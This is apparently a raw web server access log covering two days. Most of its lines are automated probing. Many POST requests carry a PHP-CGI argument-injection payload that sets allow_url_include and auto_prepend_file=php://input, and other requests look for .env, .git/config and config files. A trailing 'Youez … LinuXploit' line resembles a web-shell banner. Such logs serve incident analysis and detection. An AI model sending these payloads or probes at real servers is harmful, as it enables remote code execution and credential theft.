[05/Dec/2024:09:13:30 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:31 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:32 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:33 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:33 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:34 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:35 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:14:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:09:15:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/copyformatting/cursors/cursor-disabled.svg HTTP/1.1" 4012
[05/Dec/2024:09:30:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[05/Dec/2024:09:33:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:09:45:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/accordion_arrows.png HTTP/1.1" 184
[05/Dec/2024:09:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:09:54:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:09:56:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:10:14:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:10:15:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:10:15:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[05/Dec/2024:10:16:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/loading.gif HTTP/1.1" 1737
[05/Dec/2024:10:16:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/panel_tools.png HTTP/1.1" 194
[05/Dec/2024:10:33:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:10:43:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:10:45:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/tabs_icons.png HTTP/1.1" 150
[05/Dec/2024:10:46:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:10:51:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:10:54:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:11:00:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:11:00:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:11:00:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[05/Dec/2024:11:00:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[05/Dec/2024:11:00:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:11:05:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[05/Dec/2024:11:14:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:11:16:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/wsc/icons/hidpi/spellchecker.png HTTP/1.1" 2816
[05/Dec/2024:11:17:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/panel_tools.png HTTP/1.1" 194
[05/Dec/2024:11:33:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/tabs/style.html.locked HTTP/1.1" -
[05/Dec/2024:11:33:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[05/Dec/2024:11:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:11:54:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:12:10:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/index9328h.html HTTP/1.1" 9469
[05/Dec/2024:12:13:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:12:16:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/validatebox_warning.png HTTP/1.1" 921
[05/Dec/2024:12:33:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:12:40:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /dns-query HTTP/1.1" 300
[05/Dec/2024:12:46:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:12:50:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:12:51:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:12:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:13:14:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:13:16:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/datebox_arrow.png HTTP/1.1" 626
[05/Dec/2024:13:17:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[05/Dec/2024:13:17:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:13:17:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.dist HTTP/1.1" 300
[05/Dec/2024:13:18:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.qa HTTP/1.1" 300
[05/Dec/2024:13:18:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.json HTTP/1.1" 300
[05/Dec/2024:13:30:40 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:13:33:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:13:46:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/slider_handle.png HTTP/1.1" 863
[05/Dec/2024:13:47:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:13:51:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:13:54:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:14:14:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:14:16:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/default/images/blank.gif HTTP/1.1" 43
[05/Dec/2024:14:34:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:14:38:49 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:14:48:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:14:51:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:14:54:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:14:57:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[05/Dec/2024:15:15:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/pagination_icons.png HTTP/1.1" 628
[05/Dec/2024:15:34:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:15:35:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/tree_icons.png HTTP/1.1" 3115
[05/Dec/2024:15:46:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/dept8-1.jpg HTTP/1.1" 162270
[05/Dec/2024:15:51:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:15:54:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:15:55:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/messager_icons.png HTTP/1.1" 6116
[05/Dec/2024:15:56:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/assets/js/views/login.js HTTP/1.0" 294
[05/Dec/2024:16:14:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:16:15:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/blank.gif HTTP/1.1" 43
[23/Jan/2025:10:21:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 308
[23/Jan/2025:10:21:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 308
[23/Jan/2025:10:23:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 308
[23/Jan/2025:10:23:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 308
[23/Jan/2025:10:28:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:10:33:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[23/Jan/2025:10:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[23/Jan/2025:10:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[23/Jan/2025:10:45:13 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[23/Jan/2025:10:50:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:11:04:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 308
[23/Jan/2025:11:10:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:11:16:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" 308
[23/Jan/2025:11:29:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:11:49:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?%E6%8A%80%E8%A1%93%E5%88%86%E6%9E%90%E8%88%87%E5%9F%BA%E6%9C%AC%E9%9D%A2%E5%88%86%E6%9E%90%E7%9A%84%E6%AF%94%E8%BC%83-video-oavxlcteqzjid-1736= HTTP/1.1" 308
[23/Jan/2025:11:49:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?%E8%82%A1%E5%B8%82%E6%94%BF%E7%AD%96%E5%88%86%E6%9E%90-video-xtjdgiteqzjid-2656= HTTP/1.1" 308
[23/Jan/2025:11:49:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /services/services.php HTTP/1.1" 308
[23/Jan/2025:11:49:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /time/t.php.bak HTTP/1.1" 308
[23/Jan/2025:11:49:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /time/time1.php HTTP/1.1" 308
[23/Jan/2025:11:50:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:11:52:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 303
[23/Jan/2025:12:04:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 308
[23/Jan/2025:12:06:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 303
[23/Jan/2025:12:10:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:12:29:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:12:29:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 303
[23/Jan/2025:12:34:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 303
[23/Jan/2025:12:49:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/combobox/dynamicdata.html HTTP/1.1" 897
[23/Jan/2025:12:50:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:12:51:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/jquery.min.js HTTP/1.1" 95957
[23/Jan/2025:13:04:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 303
[23/Jan/2025:13:04:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 308
[23/Jan/2025:13:10:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 303
[23/Jan/2025:13:10:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:13:12:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[23/Jan/2025:13:12:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[23/Jan/2025:13:12:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[23/Jan/2025:13:29:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:13:41:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-7.jpg HTTP/1.1" 85643
[23/Jan/2025:13:50:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:13:53:58 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[23/Jan/2025:14:03:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 308
[23/Jan/2025:14:10:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:14:22:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /dns-query HTTP/1.1" 303
[23/Jan/2025:14:22:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?dns=krQBAAABAAAAAAAABmdvb2dsZQNjb20AAAEAAQ HTTP/1.1" 303
[23/Jan/2025:14:26:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/orientation/apps/website/images/insure1.jpg HTTP/1.1" 308
[23/Jan/2025:14:29:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308
[23/Jan/2025:14:50:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 308

Youez - 2016 - github.com/yon3zu
LinuXploit